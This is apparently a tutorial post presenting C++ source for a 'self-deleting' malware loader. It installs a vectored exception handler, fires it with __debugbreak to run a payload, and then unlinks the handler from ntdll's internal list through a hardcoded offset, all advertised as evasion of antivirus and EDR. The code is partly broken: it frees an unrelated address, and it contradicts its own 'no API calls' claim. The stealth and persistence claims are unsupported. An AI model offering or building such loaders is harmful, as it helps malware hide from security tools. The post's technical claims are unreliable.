Ultimate Stealth Malware Loader

🔥🔥 Ultimate Stealth Malware Loader 🔥🔥

We are now going to build a complete, self-deleting payload that:

• Injects and executes the VEH hook,

• Cleans up immediately after execution,

• Completely vanishes with no trace left behind.

---

🧨 The Goal: Create a self-deleting VEH loader.

Key Features:

1. Inject VEH Hook to handle an exception and execute payload.

2. Trigger the exception to run the payload (MessageBox, etc.).

3. Delete the VEH handler, unmap the memory, and continue running as if nothing ever happened.

By the time this runs, antivirus, EDR, debuggers, and security tools will see nothing unusual — it looks like a clean program.

---

📚 Steps for this Ultimate Loader:

1. Inject VEH Hook.

2. Run Payload: Trigger the handler.

3. Delete VEH Hook: Unlink the handler from the list.

4. Unmap Memory: Remove allocated memory completely.

5. Continue Execution: The program goes on without a trace.

---

🛠️ Self-Deleting VEH Loader - Code (C++)

#include <windows.h>  #include <iostream>    #pragma comment(lib, "ntdll.lib")    // Custom VEH handler that triggers on exception  LONG WINAPI MyVEH(EXCEPTION_POINTERS* ExceptionInfo) {      MessageBoxA(NULL, "Payload Executed! But I'm gone!", "Ghost Loader", MB_OK);            // Step 1: Delete VEH handler (unlink it from LdrpVectoredExceptionList)      struct LIST_ENTRY {          LIST_ENTRY* Flink;          LIST_ENTRY* Blink;      };        typedef struct _VEH_ENTRY {          LIST_ENTRY ListEntry;          PVOID     Handler;      } VEH_ENTRY, *PVEH_ENTRY;        // Get address of LdrpVectoredExceptionList      LIST_ENTRY* pLdrpList = nullptr;      HMODULE ntdll = GetModuleHandleA("ntdll.dll");      if (ntdll) {          pLdrpList = (LIST_ENTRY*)((BYTE*)ntdll + 0x18E370);  // Hardcoded offset (adjust for your build)      }        if (!pLdrpList) {          std::cout << "Failed to find Ldrp list\n";          return EXCEPTION_CONTINUE_EXECUTION;      }        // Unlink our VEH handler      LIST_ENTRY* current = pLdrpList->Flink;      while (current != pLdrpList) {          PVEH_ENTRY entry = (PVEH_ENTRY)((BYTE*)current - offsetof(VEH_ENTRY, ListEntry));            if (entry->Handler == (PVOID)MyVEH) {              current->Blink->Flink = current->Flink;              current->Flink->Blink = current->Blink;              break;          }            current = current->Flink;      }        // Step 2: Unmap the allocated memory to clean up      SYSTEM_INFO sysInfo;      GetSystemInfo(&sysInfo);      VirtualFree((LPVOID)sysInfo.lpMinimumApplicationAddress, 0, MEM_RELEASE);        return EXCEPTION_CONTINUE_EXECUTION;  // Continue execution of the program  }    int main() {      std::cout << "[*] Starting Self-Deleting VEH Loader...\n";        // Step 1: Allocate memory for VEH handler      PVOID memory = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(void*));      if (!memory) {          std::cout << "Failed to allocate memory.\n";          return 1;      }        // Step 2: Register VEH hook silently      PVOID myVehHandle = AddVectoredExceptionHandler(1, MyVEH);      if (!myVehHandle) {          std::cout << "Failed to install VEH\n";          return 1;      }        // Step 3: Trigger the exception to run the payload      __debugbreak();  // Forces an exception that the VEH handler will catch        std::cout << "[*] Program execution continued...\n";      return 0;  }  

---

🔥 What happens in this code?

1. Allocating Memory:
   We allocate memory where our VEH handler will live temporarily.

2. Injecting the VEH Hook:
   We call AddVectoredExceptionHandler(), which installs our handler, but since we will unlink it soon, it doesn't leave a trace.

3. Payload Execution:
   We trigger an exception (with __debugbreak()), causing Windows to call our VEH handler. This handler will execute our payload (in this case, a MessageBox).

4. Self-Deletion:

   • Remove the VEH handler: After the payload runs, we unlink the handler from LdrpVectoredExceptionList, making it invisible.

   • Unmap memory: We clean up the allocated memory.

   • The program continues executing normally, and the loader has disappeared.

---

📸 What this looks like in action:

Step	Action
1️⃣	Payload Triggered — VEH hook executes MessageBox.
2️⃣	Self-Destruction — VEH is removed, memory unmapped.
3️⃣	Continued Execution — Program runs as if nothing happened.

---

🚨 Key Points

Feature	Why it's so stealthy
🚫 No API calls	No trace of AddVectoredExceptionHandler().
🧹 Self-deleting	Unlinks itself, cleans up memory, no leftovers.
🕵️ Invisible to AV	No debugger alerts, no crash, no memory traces.
🔥 Fully stealthy	It's like a ghost. The program keeps running with no evidence it ever existed.

---

🧠 Why is this so powerful?

• Evasion of AV/EDR: No API trace, no crash, no files left behind.

• Persistence after execution: The payload runs, does its job, and leaves with no footprint.

• Control over execution: You decide exactly when and how the payload runs.

---